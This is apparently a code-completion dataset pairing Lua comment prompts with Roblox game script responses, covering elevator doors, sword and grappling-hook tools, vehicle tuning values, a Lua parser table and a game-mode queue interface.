Response:
function DoorClose()
	if Shaft00.MetalDoor.CanCollide == false then
		Shaft00.MetalDoor.CanCollide = true
		while Shaft00.MetalDoor.Transparency > 0.0 do
			Shaft00.MetalDoor.Transparency = Shaft00.MetalDoor.Transparency - .1
			wait(0.000001)
		end
		Car.BodyVelocity.velocity = Vector3.new(0, 20, 0)	--Change 10 to change the speed.
	end
	if Shaft01.MetalDoor.CanCollide == false then
		Shaft01.MetalDoor.CanCollide = true
		while Shaft01.MetalDoor.Transparency > 0.0 do
			Shaft01.MetalDoor.Transparency = Shaft01.MetalDoor.Transparency - .1
			wait(0.000001)
		end

	end
	if Shaft02.MetalDoor.CanCollide == false then
		Shaft02.MetalDoor.CanCollide = true
		while Shaft02.MetalDoor.Transparency > 0.0 do
			Shaft02.MetalDoor.Transparency = Shaft02.MetalDoor.Transparency - .1
			wait(0.000001)
		end
		Car.BodyVelocity.velocity = Vector3.new(0, -20, 0)
	end
	if Shaft03.MetalDoor.CanCollide == false then
		Shaft03.MetalDoor.CanCollide = true
		while Shaft03.MetalDoor.Transparency > 0.0 do
			Shaft03.MetalDoor.Transparency = Shaft03.MetalDoor.Transparency - .1
			wait(0.000001)
		end
		Car.BodyVelocity.velocity = Vector3.new(0, -20, 0)
	end
	if Shaft04.MetalDoor.CanCollide == false then
		Shaft04.MetalDoor.CanCollide = true
		while Shaft04.MetalDoor.Transparency > 0.0 do
			Shaft04.MetalDoor.Transparency = Shaft04.MetalDoor.Transparency - .1
			wait(0.000001)
		end
		Car.BodyVelocity.velocity = Vector3.new(0, -20, 0)
	end
	if Shaft05.MetalDoor.CanCollide == false then
		Shaft05.MetalDoor.CanCollide = true
		while Shaft05.MetalDoor.Transparency > 0.0 do
			Shaft05.MetalDoor.Transparency = Shaft05.MetalDoor.Transparency - .1
			wait(0.000001)
		end
		Car.BodyVelocity.velocity = Vector3.new(0, -20, 0)
	end
	if Shaft06.MetalDoor.CanCollide == false then
		Shaft06.MetalDoor.CanCollide = true
		while Shaft06.MetalDoor.Transparency > 0.0 do
			Shaft06.MetalDoor.Transparency = Shaft06.MetalDoor.Transparency - .1
			wait(0.000001)
		end
		Car.BodyVelocity.velocity = Vector3.new(0, -20, 0)
	end
	if Shaft07.MetalDoor.CanCollide == false then
		Shaft07.MetalDoor.CanCollide = true
		while Shaft07.MetalDoor.Transparency > 0.0 do
			Shaft07.MetalDoor.Transparency = Shaft07.MetalDoor.Transparency - .1
			wait(0.000001)
		end
		Car.BodyVelocity.velocity = Vector3.new(0, -20, 0)
	end
	if Shaft08.MetalDoor.CanCollide == false then
		Shaft08.MetalDoor.CanCollide = true
		while Shaft08.MetalDoor.Transparency > 0.0 do
			Shaft08.MetalDoor.Transparency = Shaft08.MetalDoor.Transparency - .1
			wait(0.000001)
		end
		Car.BodyVelocity.velocity = Vector3.new(0, -20, 0)
	end
	if Shaft09.MetalDoor.CanCollide == false then
		Shaft09.MetalDoor.CanCollide = true
		while Shaft09.MetalDoor.Transparency > 0.0 do
			Shaft09.MetalDoor.Transparency = Shaft09.MetalDoor.Transparency - .1
			wait(0.000001)
		end
		Car.BodyVelocity.velocity = Vector3.new(0, -20, 0)
	end
	if Shaft10.MetalDoor.CanCollide == false then
		Shaft10.MetalDoor.CanCollide = true
		while Shaft10.MetalDoor.Transparency > 0.0 do
			Shaft10.MetalDoor.Transparency = Shaft10.MetalDoor.Transparency - .1
			wait(0.000001)
		end
		Car.BodyVelocity.velocity = Vector3.new(0, -20, 0)
	end
	if Shaft11.MetalDoor.CanCollide == false then
		Shaft11.MetalDoor.CanCollide = true
		while Shaft11.MetalDoor.Transparency > 0.0 do
			Shaft11.MetalDoor.Transparency = Shaft11.MetalDoor.Transparency - .1
			wait(0.000001)
		end
		Car.BodyVelocity.velocity = Vector3.new(0, -20, 0)
	end
	if Shaft12.MetalDoor.CanCollide == false then
		Shaft12.MetalDoor.CanCollide = true
		while Shaft12.MetalDoor.Transparency > 0.0 do
			Shaft12.MetalDoor.Transparency = Shaft12.MetalDoor.Transparency - .1
			wait(0.000001)
		end
		Car.BodyVelocity.velocity = Vector3.new(0, -20, 0)
	end
	if Shaft13.MetalDoor.CanCollide == false then
		Shaft13.MetalDoor.CanCollide = true
		while Shaft13.MetalDoor.Transparency > 0.0 do
			Shaft13.MetalDoor.Transparency = Shaft13.MetalDoor.Transparency - .1
			wait(0.000001)
		end
		Car.BodyVelocity.velocity = Vector3.new(0, -20, 0)
	end
end

function onClicked()
DoorClose()

end

script.Parent.MouseButton1Click:connect(onClicked)

script.Parent.MouseButton1Click:connect(function()
	if clicker == true
		then clicker = false
	else
		return

	end
end)

script.Parent.MouseButton1Click:connect(function()
Car.Touched:connect(function(otherPart)
	if otherPart == Elevator.Floors.F02
		then StopE() DoorOpen()
	end
end)end)

function StopE()
 Car.BodyVelocity.velocity = Vector3.new(0, 0, 0)
 Car.BodyPosition.position = Elevator.Floors.F02.Position
	clicker = true
end

function DoorOpen()
	while Shaft01.MetalDoor.Transparency < 1.0 do
	Shaft01.MetalDoor.Transparency = Shaft01.MetalDoor.Transparency + .1
	wait(0.000001)
	end
	Shaft01.MetalDoor.CanCollide = false
end


Prompt: -- Wait for the LocalPlayer

Response:
repeat
	wait()
until Players.LocalPlayer

local Logger = require(ReplicatedStorage.Dependencies.GameUtils.Logger)
local CameraController = require(ReplicatedStorage.Source.Controllers.CameraController)
local UIController = require(ReplicatedStorage.Source.Controllers.UIController)
local ClientVehicleManager = require(ReplicatedStorage.Source.Managers.ClientVehicleManager)
local ClientPlayerStatusHandler = require(ReplicatedStorage.Source.Player.ClientPlayerStatusHandler)
local Preloader = require(ReplicatedStorage.Source.Preloader)
local UserInput = require(ReplicatedStorage.Source.UserInput)
local translateDataModel = require(ReplicatedStorage.Source.Common.translateDataModel)


Prompt:
--This is just some simple server script that moves the object around every frame
--The kinematics module handles the rest

Response:
game["Run Service"].Heartbeat:Connect(function(deltaTime)

	part:PivotTo( CFrame.new(startPos + Vector3.new(math.sin(tick()) * orbit, math.cos(tick()) * orbit, 0)))
end)


Prompt: -- Client exposed properties:

Response: PointsService.Client.MostPoints = RemoteProperty.new(0)


Prompt: -- Server for Client, this is so it works in FE

Response:
local update = script:WaitForChild('Update')
local Neck_Original = CFrame.new(0, 1, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
function Tween(t,g)
	game.TweenService:Create(t,TweenInfo.new(1,Enum.EasingStyle.Sine,Enum.EasingDirection.Out),g):Play()
end
local SBMode = false
local sine = 0
update.OnServerEvent:connect(function(player, request, mouseposition)
	pcall(function()
	local Torso = player.Character:FindFirstChild('Torso')
	local Arm = Torso:FindFirstChild('Right Shoulder')
	local Arm2 = Torso:FindFirstChild('Left Shoulder')
	if (request == 'Turn') then
		local Offset_O = (Torso.Position.y - mouseposition.y)/100--100 (mouse offset to direction)
		local Mag = (Torso.Position-mouseposition).magnitude/80 --80 (cone of y looking)
		local Offset = Offset_O/Mag
		local NeckWeld = Torso.Neck
			--NeckWeld.C0 = Neck_Original * CFrame.fromEulerAnglesXYZ(Offset-math.rad(90), 0, 0)
	sine = sine + .01
		if Arm ~= nil then
			Arm.C0 = Arm.C0:lerp(CFrame.new(1, 0.5, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0) * CFrame.fromEulerAnglesXYZ(0, 0, -Offset),0.3)
		end
		if Arm2 ~= nil then
if SBMode == false then
				Arm2.C0 = Arm2.C0:lerp(CFrame.new(-1, 0.5, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0) * CFrame.fromEulerAnglesXYZ(0, 0, Offset),0.3)
			else

			end
		end
	elseif (request == 'Unequip') then
		sine = 0
		Arm.C0 = CFrame.new(1, 0.5, 0) * CFrame.Angles(0, math.pi/2, 0) -- reset right arm
		Arm2.C0 = CFrame.new(-1, 0.5, 0) * CFrame.Angles(0, -math.pi/2, 0) -- reset left arm
		Torso.Neck.C0 = Neck_Original
		end
		end)
end)


Prompt:
------------------------------------------------------------------------
-- the following priority table consists of pairs of left/right values
-- for binary operators (was a static const struct); grep for ORDER OPR
-- * the following struct is replaced:
--   static const struct {
--     lu_byte left;  /* left priority for each binary operator */
--     lu_byte right; /* right priority */
--   } priority[] = {  /* ORDER OPR */
------------------------------------------------------------------------

Response:
luaY.priority = {
  {6, 6}, {6, 6}, {7, 7}, {7, 7}, {7, 7}, -- `+' `-' `/' `%'
  {10, 9}, {5, 4},                 -- power and concat (right associative)
  {3, 3}, {3, 3},                  -- equality
  {3, 3}, {3, 3}, {3, 3}, {3, 3},  -- order
  {2, 2}, {1, 1}                   -- logical (and/or)
}

luaY.UNARY_PRIORITY = 8  -- priority for unary operators


Prompt:
--[=[
	Determines if the passed object is a Janitor. This checks the metatable directly.

	@param Object any -- The object you are checking.
	@return boolean -- `true` if `Object` is a Janitor.
]=]

Response:
function Janitor.Is(Object: any): boolean
	return type(Object) == "table" and getmetatable(Object) == Janitor
end

type StringOrTrue = string | boolean


Prompt:
--============== READ ME ================--
-- PLACE THIS SCRIPT INTO StarterPlayerScripts
-- it will not work otherwise


Prompt: --Services

Response:
local UserInputService = game:GetService("UserInputService")
local RunService = game:GetService("RunService")


Prompt: --- Active

Response:
script.Parent.OnServerEvent:Connect(function(Player)
	local Projectile = game.ReplicatedStorage.Dragon.SkillZ.LightFX:Clone()
	local BV = Instance.new("BodyVelocity",Projectile)
	BV.MaxForce = Vector3.new(math.huge,math.huge,math.huge)
	BV.Velocity = Player.Character.HumanoidRootPart.CFrame.LookVector * 0
	Projectile.Parent = workspace
	Projectile.CanCollide = false
	Projectile.Anchored = false
	Projectile.CFrame = Player.Character.HumanoidRootPart.CFrame * CFrame.new(0,2,0) * CFrame.fromEulerAnglesXYZ(0,0,0)
	Projectile.Touched:Connect(function(hit)
	if hit.Parent:FindFirstChild("Humanoid") and hit.Parent.Name ~= Player.Name and hit.Parent:WaitForChild("Humanoid") ~= nil and hit.Parent:WaitForChild("Humanoid").Health ~= 0 and not hit.Parent:FindFirstChild("AlreadyHit") then
			local Check = Instance.new("IntValue", hit.Parent)
				Check.Name = "AlreadyHit"
				game.Debris:AddItem(Check ,1)
			local VCharacter = game.Workspace:FindFirstChild(Player.Name)
	        local vPlayer = game.Players:GetPlayerFromCharacter(VCharacter)
	        local Humanoid = hit.Parent:WaitForChild("Humanoid")
			Humanoid:TakeDamage(10)
			tagHumanoid(hit.Parent:FindFirstChild("Humanoid"),vPlayer)
			wait(0.05)
			untagHumanoid(hit.Parent:FindFirstChild("Humanoid"))
		end
	end)
	wait(3)
	BV:Destroy()
	Projectile.Anchored = false
	wait(2)
	Projectile.CanCollide = false
	wait(1)
	for i = 1,5 do
				wait(0.025)
				Projectile.Transparency = Projectile.Transparency + 0.1
				Projectile.Texture1.Transparency = Projectile.Texture1.Transparency + 0.1
				Projectile.Texture2.Transparency = Projectile.Texture2.Transparency + 0.1
			end
    Projectile:Destroy()
    end)


Prompt: -------- OMG HAX

Response:
r = game:service("RunService")

local damage = 0

local slash_damage = 0

sword = script.Parent.Handle
Tool = script.Parent

local SlashSound = Instance.new("Sound")
SlashSound.SoundId = "http://www.roblox.com/Asset/?ID=12135982"
SlashSound.Parent = sword
SlashSound.Volume = 0

function isTurbo(character)
	return character:FindFirstChild("PaperHat") ~= nil
end

function blow(hit)
	local humanoid = hit.Parent:findFirstChild("Humanoid")
	local vCharacter = Tool.Parent
	local vPlayer = game.Players:playerFromCharacter(vCharacter)
	local hum = vCharacter:findFirstChild("Humanoid") -- non-nil if tool held by a character
	if humanoid~=nil and humanoid ~= hum and hum ~= nil then
		-- final check, make sure sword is in-hand

		local right_arm = vCharacter:FindFirstChild("Right Arm")
		if (right_arm ~= nil) then
			local joint = right_arm:FindFirstChild("RightGrip")
			if (joint ~= nil and (joint.Part0 == sword or joint.Part1 == sword)) then
				local d = damage
				if (isTurbo(vCharacter) == true) then d = d * 2.5 end
				tagHumanoid(humanoid, vPlayer)
				humanoid:TakeDamage(d)
				wait(1)
				untagHumanoid(humanoid)
			end
		end

	end
end

function tagHumanoid(humanoid, player)
	local creator_tag = Instance.new("ObjectValue")
	creator_tag.Value = player
	creator_tag.Name = "creator"
	creator_tag.Parent = humanoid
end

function untagHumanoid(humanoid)
	if humanoid ~= nil then
		local tag = humanoid:findFirstChild("creator")
		if tag ~= nil then
			tag.Parent = nil
		end
	end
end

function attack()
	damage = slash_damage
	SlashSound:play()
	local anim = Instance.new("StringValue")
	anim.Name = "toolanim"
	anim.Value = "Slash"
	anim.Parent = Tool
end

function swordUp()
	Tool.GripForward = Vector3.new(-1,0,0)
	Tool.GripRight = Vector3.new(0,1,0)
	Tool.GripUp = Vector3.new(0,0,1)
end

function swordOut()
	Tool.GripForward = Vector3.new(0,0,1)
	Tool.GripRight = Vector3.new(0,-1,0)
	Tool.GripUp = Vector3.new(-1,0,0)
end

Tool.Enabled = true

function onActivated()

	if not Tool.Enabled then
		return
	end

	Tool.Enabled = false

	local character = Tool.Parent;
	local humanoid = character.Humanoid
	if humanoid == nil then
		print("Humanoid not found")
		return
	end

	attack()

	wait(.4)

	Tool.Enabled = true
end

function onEquipped()
	SlashSound:play()
end

script.Parent.Activated:connect(onActivated)
script.Parent.Equipped:connect(onEquipped)

connection = sword.Touched:connect(blow)


Prompt: --Rear Suspension

Response:
Tune.RSusDamping	= 500		-- Spring Dampening
Tune.RSusStiffness	= 9000		-- Spring Force
Tune.RSusLength		= 2			-- Suspension length (in studs)
Tune.RSusMaxExt		= .3		-- Max Extension Travel (in studs)
Tune.RSusMaxComp	= .1		-- Max Compression Travel (in studs)
Tune.RSusAngle		= 80		-- Suspension Angle (degrees from horizontal)

Tune.RWsBoneLen		= 5			-- Wishbone Length
Tune.RWsBoneAngle	= 0			-- Wishbone angle (degrees from horizontal)
Tune.RAnchorOffset	= {			-- Suspension anchor point offset (relative to center of wheel)
	--[[Lateral]]		-.4		,	-- positive = outward
	--[[Vertical]]		-.5		,	-- positive = upward
	--[[Forward]]		0		}	-- positive = forward


Prompt: --script.Parent.Parent.Parent.MusicName.Text = Asset.Name

Response:
end

while wait(1) do
	if script.Parent.Playing == false then
		Music()
	end
end


Prompt:
----- MAGIC NUMBERS ABOUT THE TOOL -----
-- How much damage a bullet does

Response: local Damage = 0.5


Prompt: -- When you are done editing this, save this place then go to it then say the word to regenerate the model.


Prompt:
------------------------------------------------------------------------
--
-- * used in multiple locations
------------------------------------------------------------------------

Response:
function luaK:exp2RK(fs, e)
  self:exp2val(fs, e)
  local k = e.k
  if k == "VKNUM" or k == "VTRUE" or k == "VFALSE" or k == "VNIL" then
    if fs.nk <= luaP.MAXINDEXRK then  -- constant fit in RK operand?
      -- converted from a 2-deep ternary operator expression
      if e.k == "VNIL" then
        e.info = self:nilK(fs)
      else
        e.info = (e.k == "VKNUM") and self:numberK(fs, e.nval)
                                  or self:boolK(fs, e.k == "VTRUE")
      end
      e.k = "VK"
      return luaP:RKASK(e.info)
    end
  elseif k == "VK" then
    if e.info <= luaP.MAXINDEXRK then  -- constant fit in argC?
      return luaP:RKASK(e.info)
    end
  else
    -- default
  end
  -- not a constant in the right range: put it in a register
  return self:exp2anyreg(fs, e)
end


Prompt: --strategy that you walk around the opponent while running away


Prompt: --Tune--

Response:
local StockHP = 500	--Power output desmos: https://www.desmos.com/calculator/wezfve8j90 (does not come with torque curve)
local TurboCount = 2	--(1 = SingleTurbo),(2 = TwinTurbo),(if bigger then it will default to 2 turbos)
local TurboSize = 65	--bigger the turbo, the more lag it has
local WasteGatePressure = 12	--Max PSI for each turbo (if twin and running 10 PSI, thats 10PSI for each turbo)
local CompressionRatio = 9/1	--Compression of your car (look up the compression of the engine you are running)
local AntiLag = true	--if true basically keeps the turbo spooled up so less lag

local BOV_Loudness = 1	--volume of the BOV (not exact volume so you kinda have to experiment with it)
local TurboLoudness = 1 --volume of the Turbo (not exact volume so you kinda have to experiment with it also)


Prompt: --Made by Luckymaxer

Response:
Tool = script.Parent
Handle = Tool:WaitForChild("Handle")

Players = game:GetService("Players")
Debris = game:GetService("Debris")
RunService = game:GetService("RunService")
ContentProvider = game:GetService("ContentProvider")
UserInputService = game:GetService("UserInputService")

InputCheck = Instance.new("ScreenGui")
InputCheck.Name = "InputCheck"
InputFrame = Instance.new("Frame")
InputFrame.BackgroundTransparency = 1
InputFrame.Size = UDim2.new(1, 0, 1, 0)
InputFrame.Parent = InputCheck

RbxUtility = LoadLibrary("RbxUtility")
Create = RbxUtility.Create

Animations = {}

ServerControl = Tool:WaitForChild("ServerControl")
ClientControl = Tool:WaitForChild("ClientControl")

Rate = (1 / 60)

ToolEquipped = false

function SetAnimation(mode, value)
	if not ToolEquipped or not CheckIfAlive() then
		return
	end
	local function StopAnimation(Animation)
		for i, v in pairs(Animations) do
			if v.Animation == Animation then
				v.AnimationTrack:Stop(value.EndFadeTime)
				if v.TrackStopped then
					v.TrackStopped:disconnect()
				end
				table.remove(Animations, i)
			end
		end
	end
	if mode == "PlayAnimation" then
		for i, v in pairs(Animations) do
			if v.Animation == value.Animation then
				if value.Speed then
					v.AnimationTrack:AdjustSpeed(value.Speed)
					return
				elseif value.Weight or value.FadeTime then
					v.AnimationTrack:AdjustWeight(value.Weight, value.FadeTime)
					return
				else
					StopAnimation(value.Animation, false)
				end
			end
		end
		local AnimationMonitor = Create("Model"){}
		local TrackEnded = Create("StringValue"){Name = "Ended"}
		local AnimationTrack = Humanoid:LoadAnimation(value.Animation)
		local TrackStopped
		if not value.Manual then
			TrackStopped = AnimationTrack.Stopped:connect(function()
				if TrackStopped then
					TrackStopped:disconnect()
				end
				StopAnimation(value.Animation, true)
				TrackEnded.Parent = AnimationMonitor
			end)
		end
		table.insert(Animations, {Animation = value.Animation, AnimationTrack = AnimationTrack, TrackStopped = TrackStopped})
		AnimationTrack:Play(value.FadeTime, value.Weight, value.Speed)
		if TrackStopped then
			AnimationMonitor:WaitForChild(TrackEnded.Name)
		end
		return TrackEnded.Name
	elseif mode == "StopAnimation" and value then
		StopAnimation(value.Animation)
	end
end

function CheckIfAlive()
	return (((Character and Character.Parent and Humanoid and Humanoid.Parent and Humanoid.Health > 0 and Player and Player.Parent) and true) or false)
end

function Equipped(Mouse)
	Character = Tool.Parent
	Player = Players:GetPlayerFromCharacter(Character)
	Humanoid = Character:FindFirstChild("Humanoid")
	ToolEquipped = true
	if not CheckIfAlive() then
		return
	end
	Spawn(function()
		PlayerMouse = Player:GetMouse()
		Mouse.Button1Down:connect(function()
			InvokeServer("Button1Click", {Down = true})
		end)
		Mouse.Button1Up:connect(function()
			InvokeServer("Button1Click", {Down = false})
		end)
		Mouse.KeyDown:connect(function(Key)
			InvokeServer("KeyPress", {Key = Key, Down = true})
		end)
		Mouse.KeyUp:connect(function(Key)
			InvokeServer("KeyPress", {Key = Key, Down = false})
		end)
		local PlayerGui = Player:FindFirstChild("PlayerGui")
		if PlayerGui then
			InputCheckClone = InputCheck:Clone()
			if UserInputService.TouchEnabled then
				InputCheckClone = InputCheck:Clone()
				InputCheckClone.InputButton.InputBegan:connect(function()
					InvokeServer("Button1Click", {Down = true})
				end)
				InputCheckClone.InputButton.InputEnded:connect(function()
					InvokeServer("Button1Click", {Down = false})
				end)
				InputCheckClone.Parent = PlayerGui
			end
		end
		for i, v in pairs(Tool:GetChildren()) do
			if v:IsA("Animation") then
				ContentProvider:Preload(v.AnimationId)
			end
		end
	end)
end

function Unequipped()
	if InputCheckClone then
		Debris:AddItem(InputCheckClone, 0)
	end
	for i, v in pairs(Animations) do
		if v and v.AnimationTrack then
			v.AnimationTrack:Stop()
		end
	end
	Animations = {}
	ToolEquipped = false
end

function InvokeServer(mode, value)
	local ServerReturn = nil
	pcall(function()
		ServerReturn = ServerControl:InvokeServer(mode, value)
	end)
	return ServerReturn
end

function OnClientInvoke(mode, value)
	if mode == "PlayAnimation" and value and ToolEquipped and Humanoid then
		SetAnimation("PlayAnimation", value)
	elseif mode == "StopAnimation" and value then
		SetAnimation("StopAnimation", value)
	elseif mode == "PlaySound" and value then
		value:Play()
	elseif mode == "StopSound" and value then
		value:Stop()
	elseif mode == "MousePosition" then
		return ((PlayerMouse and {Position = PlayerMouse.Hit.p, Target = PlayerMouse.Target}) or nil)
	end
end

ClientControl.OnClientInvoke = OnClientInvoke
Tool.Equipped:connect(Equipped)
Tool.Unequipped:connect(Unequipped)


Prompt:
--edit the function below to return true when you want this response/prompt to be valid
--player is the player speaking to the dialogue, and dialogueFolder is the object containing the dialogue data

Response:
return function(player, dialogueFolder)
	local ClassInformationTable = require(game.ReplicatedStorage.Source.Modules.CharacterScripts.Classes.ClassInformation)
	return ClassInformationTable:GetClassFolder(player,"Warlock").FastCasting.Value and ClassInformationTable:GetClassFolder(player,"Warlock").PocketStep.Value ~= true
end


Prompt: -- Create class

Response:
local ArcHandles = {}
ArcHandles.__index = ArcHandles


Prompt: --Main

Response: return require(ReplicatedStorage.Systems.EntitySystem.EntityClient.Render.EntityRenderController)


Prompt: --mesh.Scale = Vector3.new(0.1,1,0.1)

Response:
local RetractionSpeed = 80
local StartDistance = 100

local PlayerBodyVelocity = Instance.new("BodyVelocity")
PlayerBodyVelocity.maxForce = Vector3.new(1e+0010, 1e+0010, 1e+0010)
local ObjectBodyVelocity = Instance.new("BodyVelocity")
ObjectBodyVelocity.maxForce = Vector3.new(14000,14000,14000) --force necessary to forcefully grab a player

local bodyPos = Instance.new("BodyPosition")
bodyPos.D = 1e+003
bodyPos.P = 3e+003
bodyPos.maxForce = Vector3.new(1e+006, 1e+006, 1e+006)

local bodyGyro = Instance.new("BodyGyro")
bodyGyro.maxTorque = Vector3.new(math.huge,math.huge,math.huge)

function BreakRope()
	if human then
		human.Sit = false
	end
	rope.Parent = nil
	if PlayerBodyVelocity then PlayerBodyVelocity.Parent = nil end
	if ObjectBodyVelocity then ObjectBodyVelocity.Parent = nil end
	bodyGyro.Parent = nil
	if bolt ~= nil then
		bolt.Parent = nil
	end
	if holdweld ~= nil then
		holdweld.Parent = nil
	end
	holdweld = nil
	bolt = nil
	--Tool.Handle.Mesh.MeshId = "http://www.roblox.com/asset/?id=89987774"
	--Tool.GripPos = defaultPos

	wait(.45)
	if bolt == nil then
		bodyGyro.Parent = nil --keep the gyro a little longer so retracted object doesnt ragdoll player
	end
	script.Parent.Bolt.Transparency =  0
end

function adjustRope()
	if bolt and torso then
		if (torso.Position - bolt.Position).magnitude > maxDistance then BreakRope() end
	end
	if rope.Parent == nil  or bolt == nil then return end
	local pos1 = Tool.Bolt.Position + Tool.Bolt.CFrame.lookVector*.3
	local pos2 = bolt.Position
	rope.Size = Vector3.new(0, 1, 0)
	rope.Mesh.Scale = Vector3.new(0.1, (pos1-pos2).magnitude, 0.1)
	rope.CFrame = CFrame.new((pos1 + pos2)/2, pos2) * CFrame.fromEulerAnglesXYZ(-math.pi/2,0,0)
end

function updateVelocities()
	if bolt and torso and ObjectBodyVelocity then
		local grappleVector = (torso.Position - bolt.Position)
		if grappleVector.magnitude > maxDistance then
			BreakRope()
			return
		end
		if bolt.Velocity.magnitude < 3 and -1* torso.Velocity:Dot(grappleVector.unit) < 5 and grappleVector.magnitude < .75 * StartDistance then
			print("hop up")
			PlayerBodyVelocity.velocity = PlayerBodyVelocity.velocity + Vector3.new(0,20,0)
			wait(.25)
			BreakRope()
			return
		end
		if grappleVector.magnitude < 3.5 then
			print("grapple end")
			wait(.20)
			BreakRope()
			return
		else
			ObjectBodyVelocity.velocity = grappleVector.unit * RetractionSpeed
			local boltRetraction = math.max(grappleVector.unit:Dot(bolt.Velocity),0) --no negative speed
			local playerSpeed = math.max(0, RetractionSpeed - 5 - boltRetraction)
			if playerSpeed == 0 then
				PlayerBodyVelocity.Parent = nil
			else
				PlayerBodyVelocity.Parent = torso
				PlayerBodyVelocity.velocity = grappleVector.unit * playerSpeed * -1
			end
		end
	else
		BreakRope()
	end
end

function onBoltHit(hit)
	if bolt == nil or hit == nil or hit.Parent == nil or hit == rope or bolt.Name ~= "Bolt" or hit.Parent == Tool or hit.Parent == Tool.Parent or hit.Parent.Parent == Tool.Parent or hit.Parent.Name == "Attached Bolt" then
		return
	end
	local grappleVector = (torso.Position - bolt.Position)
	StartDistance = grappleVector.magnitude
	if StartDistance > maxDistance then
		bolt.Parent = nil
		bolt = nil
		return
	end

	bolt.Name = "Attached Bolt"
	local boltFrame = CFrame.new(hit.Position)

	local C0 = hit.CFrame:inverse() * boltFrame
	local C1 = bolt.CFrame:inverse() * boltFrame
	local weld = Instance.new("Weld")
	weld.Part0 = hit
	weld.Part1 = bolt
	weld.C0 = C0
	weld.C1 = C1
	weld.Parent = bolt

	local hum = hit.Parent:FindFirstChild("Humanoid")
	if hum then hum.Sit = true end

	if bolt:FindFirstChild("HitSound") then bolt.HitSound:play() end
	local backupbolt = bolt

	ObjectBodyVelocity = Instance.new("BodyVelocity")
	ObjectBodyVelocity.maxForce = Vector3.new(5000,5000,5000)
	ObjectBodyVelocity.velocity = grappleVector.unit * RetractionSpeed
	ObjectBodyVelocity.Parent = bolt

	wait(0.4)
	if bolt == nil or bolt ~= backupbolt then return end
	bolt.ConnectSound:play()
	Tool.Handle.ConnectSound:play()
	script.Parent.Bolt.Transparency = 1
	targetPos = bolt.Position
	backupPos = bolt.Position

	--bodyPos.position = targetPos
	--bodyPos.Parent = torso
	PlayerBodyVelocity.Parent = torso
	PlayerBodyVelocity.velocity = Vector3.new(0,0,0)
	bodyGyro.cframe = torso.CFrame
	bodyGyro.Parent = torso

	while bolt ~= nil do
		--bodyPos.position = bolt.Position
		updateVelocities()
		wait(1/30)
	end
end

enabled = true
local canReset = true

function onButton1Down(mouse)

	if bolt and canReset then
		BreakRope()
	end
	if not enabled then
		return
	end

	if bolt ~= nil and not canFireWhileGrappling then return end
	if bolt ~= nil then
		if boltconnect ~= nil then
			print("Disconnecting")
			boltconnect:disconnect()
		end
		bolt:remove()
		targetPos = Vector3.new(0,0,0)
	end

	Tool.Handle.FireSound:play()

	enabled = false

	mouse.Icon = "rbxasset://textures\\GunWaitCursor.png"

	--bolt = game:GetService("InsertService"):LoadAsset(33393977)
	script.Parent.Bolt.Transparency = 1
	bolt = Tool.Bolt:Clone()
	bolt.Name = "Bolt"
	bolt.Size = Vector3.new(1,.4,1)
	bolt.Locked = false
	--bolt.Mesh.MeshId = "http://www.roblox.com/asset/?id=89989174"

	--local instances = bolt:GetChildren()
	--if #instances == 0 then
	--	bolt:Remove()
	--	return
	--end

	--bolt = bolt:FindFirstChild("Bolt")
	--local boltMesh = bolt:FindFirstChild("Mesh")

	bolt.CFrame = CFrame.new(Tool.Bolt.Position + (mouse.Hit.p - Tool.Bolt.Position).unit * 5,mouse.Hit.p) --* CFrame.fromEulerAnglesXYZ(0,math.pi,0)
	bolt.Transparency = 0
	bolt.CanCollide = false
	bolt.Velocity = bolt.CFrame.lookVector * 80
	if bolt:findFirstChild("BodyPosition") ~= nil then
		bolt.BodyPosition:remove()
	end
	local force = Instance.new("BodyForce")
	force.force = Vector3.new(0,bolt:GetMass() * 196.1,0)
	force.Parent = bolt
	bolt.Parent = workspace
	boltconnect = bolt.AncestryChanged:connect(function() onKeyDown("q") end)
	bolt.Touched:connect(onBoltHit)

	rope.Parent = Tool

	bolt.Parent = game.Workspace

	--Tool.Handle.Mesh.MeshId = "http://www.roblox.com/asset/?id=89988787"
	--Tool.GripPos = adjustedPos
	canReset = false
	wait(.5)
	canReset = true
	wait(1)

	mouse.Icon = "rbxasset://textures\\GunCursor.png"

	enabled = true
end

function onKeyDown(key)
	key = key:lower()
	if key == "q" then
		BreakRope()
	end
end

function getHumanoid(obj)
	for i,child in pairs(obj:getChildren()) do
		if child.className == "Humanoid" then
			return child
		end
	end
end

function onEquippedLocal(mouse)
	if mouse == nil then
		print("Mouse not found")
		return
	end

	torso = Tool.Parent:findFirstChild("Torso")
	human = Tool.Parent:FindFirstChild("Humanoid")--getHumanoid(Tool.Parent)
	if torso == nil or human == nil then return end
	human.Jumping:connect(function() onKeyDown("q") end)

	mouse.Icon = "rbxasset://textures\\GunCursor.png"
	mouse.Button1Down:connect(function() onButton1Down(mouse) end)
	mouse.KeyDown:connect(onKeyDown)
end

Tool.Equipped:connect(onEquippedLocal)
Tool.Unequipped:connect(function() onKeyDown("q") end)

while true do
	adjustRope()
	wait(1/60)
end


Prompt:
--[[
GameGUI.Settings.Queue.MouseButton1Click:connect(function()
	BonusRoundFrame.Visible = not BonusRoundFrame.Visible;
end)]]

Response:
local BuyingIndex;
for _,Frame in pairs(BonusRoundFrame.BuyMode:GetChildren()) do
	Frame.Buy.MouseButton1Click:connect(function()
		game.ReplicatedStorage.BuyMode:FireServer(Frame.Name,BuyingIndex);
	end)
end

game.ReplicatedStorage.BuyMode.OnClientEvent:connect(function(Index,GameMode)
	local ModeFrame = BonusRoundFrame.Title.Container.ModeContainer["Mode"..Index];
	ModeFrame.Icon.Image = Icons[GameMode] or "";
	ModeFrame.ModeName.Text = "";
	ModeFrame.QMark.Visible = false;
	local Overhead = BonusRoundFrame.Title.Container.OverheadContainer["Mode"..Index];
	Overhead.Buy.Visible = false;
	Overhead.Purchased.Visible = true;
end)

local function UpdateQueue(BonusRoundQueue,CurrentMode,RandomM,StartVoting)
	BonusRoundFrame.Title.Container.ModeContainer:ClearAllChildren();
	BonusRoundFrame.Title.Container.OverheadContainer:ClearAllChildren();
	for Index,GameModeName in pairs(BonusRoundQueue) do
		local ModeFrame = script.GameMode:Clone();
		ModeFrame.QMark.Visible = (GameModeName=="Locked"or GameModeName=="Random");
		ModeFrame.ModeName.Text = (GameModeName=="Locked"or GameModeName=="Random") and "Random" or "";
		ModeFrame.Locked.Visible = (GameModeName=="Locked");
		ModeFrame.Icon.Image = Icons[GameModeName] or "";
